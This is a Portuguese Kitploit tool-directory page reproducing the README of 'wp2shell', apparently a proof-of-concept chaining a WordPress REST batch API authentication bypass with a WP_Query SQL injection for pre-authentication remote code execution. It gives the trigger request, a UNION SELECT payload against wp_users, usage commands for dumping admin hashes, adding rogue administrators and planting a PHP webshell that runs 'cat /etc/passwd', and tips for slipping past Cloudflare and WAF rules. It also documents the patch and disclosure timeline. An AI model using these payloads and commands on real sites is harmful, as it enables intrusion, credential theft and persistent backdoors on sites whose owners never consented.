Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/z3rodayhacks
/cve-2026-63030-cve-2026-60137
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoBypass de WAFSegurança WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubz3rodayhacks/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

PoC de RCE pré-autenticação que encadeia um bypass de autenticação da API REST batch do WordPress com injeção SQL no WP_Query para extrair hashes, adicionar usuários administradores ou plantar um webshell.

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

wp2shell

PoC de RCE Pré-Autenticação - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

Apenas para testes de penetração autorizados e pesquisa de segurança. Executar isto contra sistemas sem autorização por escrito é ilegal. Os autores não aceitam qualquer responsabilidade pelo uso indevido.


Visão Geral

wp2shell é um exploit de prova de conceito que encadeia duas vulnerabilidades reportadas independentemente para alcançar execução remota de código não autenticada em instalações do WordPress não corrigidas.

CVEComponenteClasseAutenticação Necessária
CVE-2026-63030REST Batch API (WP_REST_Server)Dessincronização de array → bypass de autenticaçãoNenhuma
CVE-2026-60137WP_QueryInjeção SQL via author__not_inNenhuma (contornada pela anterior)

O resultado final: um shell na máquina, uma conta de administrador maliciosa, ou um hash de credencial extraído — tudo a partir de um único pedido POST não autenticado.

Versões afetadas: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corrigido em: WordPress 6.9.5 / 7.0.2 (patch lançado juntamente com a divulgação coordenada)


Análise da Vulnerabilidade

CVE-2026-63030 — Dessincronização de Array da REST Batch API (Bypass de Autenticação)

Contexto

O WordPress 5.6 introduziu o endpoint de processamento em lote em /wp-json/batch/v1. Permite que clientes REST autenticados agrupem múltiplos sub-pedidos num único round-trip HTTP. Cada sub-pedido é validado e despachado independentemente por WP_REST_Server::serve_batch_request_v1().

O Caminho de Código Vulnerável

Dentro de serve_batch_request_v1() (simplificado):

root@kitploit:~
$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

Porque É Que Quebra

Os dois arrays ($responses e $matches) devem manter-se sincronizados — uma entrada por sub-pedido, no mesmo índice. Quando o sub-pedido [0] falha em wp_parse_url(), adiciona uma entrada a $responses mas não a $matches. Após o primeiro loop:

root@kitploit:~
$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

O Loop 2 despacha então $matches[0] e escreve o resultado em $responses[0]. Está a despachar o pedido[1] mas a sobrescrever o índice 0 nas respostas — e, criticamente, usa o contexto de permissão que foi calculado como parte do tratamento de erro do pedido[0] falhado, não o contexto de permissão para o endpoint alvo.

O efeito prático: qualquer endpoint que exija autenticação (incluindo endpoints que executam consultas SQL) pode ser chamado sem credenciais.

O Gatilho

root@kitploit:~
"path": "://\x00"   # triggers wp_parse_url() → false

A string ://\x00 é uma string Python válida mas um URL inválido no wrapper wp_parse_url() do PHP (o byte nulo faz com que o parse falhe, retornando false em vez de um WP_Error, o que torna a verificação is_wp_error() inútil — apenas $parsed === false o captura, e o alinhamento do array já está quebrado nesse ponto).


CVE-2026-60137 — Injeção SQL em author__not_in do WP_Query

Contexto

A REST API do WordPress para posts (/wp/v2/posts) expõe um parâmetro de consulta author_exclude que mapeia diretamente para o argumento author__not_in do WP_Query. O WP_Query é a abstração de base de dados central usada para quase todas as consultas de conteúdo no WordPress.

O Caminho de Código Vulnerável

Em WP_Query::parse_query() (simplificado):

root@kitploit:~
$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

Mais adiante em WP_Query::get_posts():

root@kitploit:~
if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

Porque É Que Quebra

A sanitização só é acionada quando $author__not_in é um array. O sistema de tipos do PHP determina isto com base em como o valor chegou:

  • Corpo JSON com array → PHP recebe [1, 2, 3] → is_array() = true → sanitizado
  • Query string do URL → PHP recebe "1,2,3" (uma string) → is_array() = false → não sanitizado

O endpoint REST aceita author_exclude a partir da query string do URL. Chega como uma string. O WP_Query ignora o bloco de sanitização, e o valor bruto é interpolado na cláusula WHERE do SQL.

Exploração

O ponto de injeção cai dentro de um contexto NOT IN (...):

root@kitploit:~
-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

Como o endpoint de lote despacha o sub-pedido como parte de um resultado de consulta maior, as linhas do UNION são retornadas no corpo da resposta JSON do REST, tornando isto uma extração Boolean/UNION sem blind — sem timing, sem out-of-band necessário.


Cadeia de Exploração

root@kitploit:~
Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

Requisitos

root@kitploit:~
Python >= 3.8
requests
cloudscraper

Instalar dependências:

root@kitploit:~
pip install requests cloudscraper

Utilização

root@kitploit:~
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
                   [--cmd CMD] [--user USER] [--password PASSWORD]
                   [--prefix PREFIX] [--proxy PROXY]
                   [--no-interactive] [--debug] [--cookie COOKIE]
                   target

Modos

Exemplos

Apenas deteção — seguro para executar durante o scoping:

root@kitploit:~
python3 wp2shell.py https://target.com --mode detect

Extrair hash de admin:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump

Extrair com output de debug (mostra respostas HTTP brutas — útil quando há um WAF envolvido):

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --debug

Criar conta de admin maliciosa:

root@kitploit:~
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'

Plantar shell e passar para prompt interativo:

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell

Execução de comando one-shot (não interativo):

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"

Através do proxy Burp:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080

Contornar Cloudflare com cookie cf_clearance existente:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"

Prefixo de tabela não predefinido:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --prefix staging_

Notas sobre o Bypass do Cloudflare

A ferramenta usa cloudscraper por predefinição, que imita uma impressão digital TLS do Chrome e resolve automaticamente o desafio JavaScript do Cloudflare (modo iuam). Isto cobre a maioria dos alvos de alojamento partilhado atrás do Cloudflare.

Se o alvo usar a gestão de bots do Cloudflare (__cf_bm) ou se já tiver um cookie de desafio resolvido, passe-o com --cookie "cf_clearance=..." para usar uma sessão requests simples em vez disso.

O endpoint de lote tem dois caminhos registados. As regras de WAF bloqueiam frequentemente o caminho padrão (/wp-json/batch/v1) mas deixam passar o caminho legado com parâmetro de consulta (/?rest_route=/batch/v1). A ferramenta sonda ambos automaticamente.


Resolução de Problemas

[-] Could not extract credentials

  • Execute com --debug para ver a resposta JSON bruta.
  • Verifique o prefixo da tabela com --prefix. Muitas instalações usam wp_ (predefinido); algumas usam prefixos personalizados.
  • O content.rendered do alvo pode estar filtrado. Tente --mode adduser em vez disso.

[-] OUTFILE failed

  • SELECT INTO OUTFILE requer o privilégio FILE do MySQL no utilizador da BD. Isto é comum em alojamento partilhado mas normalmente desativado em bases de dados cloud/geridas (RDS, Cloud SQL, etc.).
  • A lista de suposições do webroot cobre caminhos comuns. Se nenhum corresponder, verifique os cabeçalhos do servidor ou use --mode dump para ler o caminho a partir dos ficheiros de configuração.

[-] Target does not appear vulnerable

  • O alvo pode estar corrigido (6.9.5+ ou 7.0.2+).
  • Todos os caminhos de lote podem estar bloqueados pelo WAF. Confirme manualmente: GET /wp-json/ e procure /batch/v1 na chave routes.

Detalhes do Patch

WordPress 6.9.5 / 7.0.2 abordou ambos os CVEs:

  • CVE-2026-63030: serve_batch_request_v1() agora mantém um único array unificado tanto para os dados de correspondência como para as respostas, eliminando a dessincronização de índices. Os pedidos falhados são rastreados por índice na estrutura unificada.

  • CVE-2026-60137: WP_Query::parse_query() agora converte author__not_in para um array incondicionalmente antes da sanitização, independentemente do tipo de entrada:

    root@kitploit:~
    $author__not_in = array_map('absint', (array) $author__not_in);
    

Pontuações CVSS

CVEPontuaçãoVetor
CVE-2026-630309.8 CríticoCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-601379.8 CríticoCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cronologia


Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e investigação.

  • Não execute contra sistemas que não possui ou para os quais não tem permissão escrita explícita para testar.
  • Não use em ambientes de produção sem autorização.
  • Os autores não são responsáveis por qualquer dano causado pelo uso indevido.
root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.

Licença

Licença MIT — consulte LICENSE


Referências

  • WordPress Security Blog — 6.9.5 / 7.0.2 Release
  • WP REST Batch API Source — class-wp-rest-server.php
  • WP_Query Source — class-wp-query.php
  • phpass — Portable PHP password hashing framework
  • cloudscraper
Baixar ferramenta
ModoO que faz
detectFaz fingerprint da versão do WP e verifica se o endpoint de lote existe. Sem exploração.
dumpExtrai o hash da password do administrador via UNION SQLi.
adduserCria uma nova conta de administrador via consultas INSERT empilhadas.
shellPlanta um webshell PHP via SELECT INTO OUTFILE, depois passa para shell interativo.
DataEvento
2026-05-14CVE-2026-60137 descoberto durante um trabalho de pentest
2026-05-19CVE-2026-63030 descoberto; cadeia confirmada como RCE pré-autenticação
2026-05-22Ambos os CVEs reportados à Equipa de Segurança do WordPress via HackerOne
2026-06-03A Equipa de Segurança do WordPress confirma e inicia o desenvolvimento do patch
2026-07-08Patches lançados (WP 6.9.5 / 7.0.2) juntamente com a divulgação coordenada
2026-07-22PoC publicado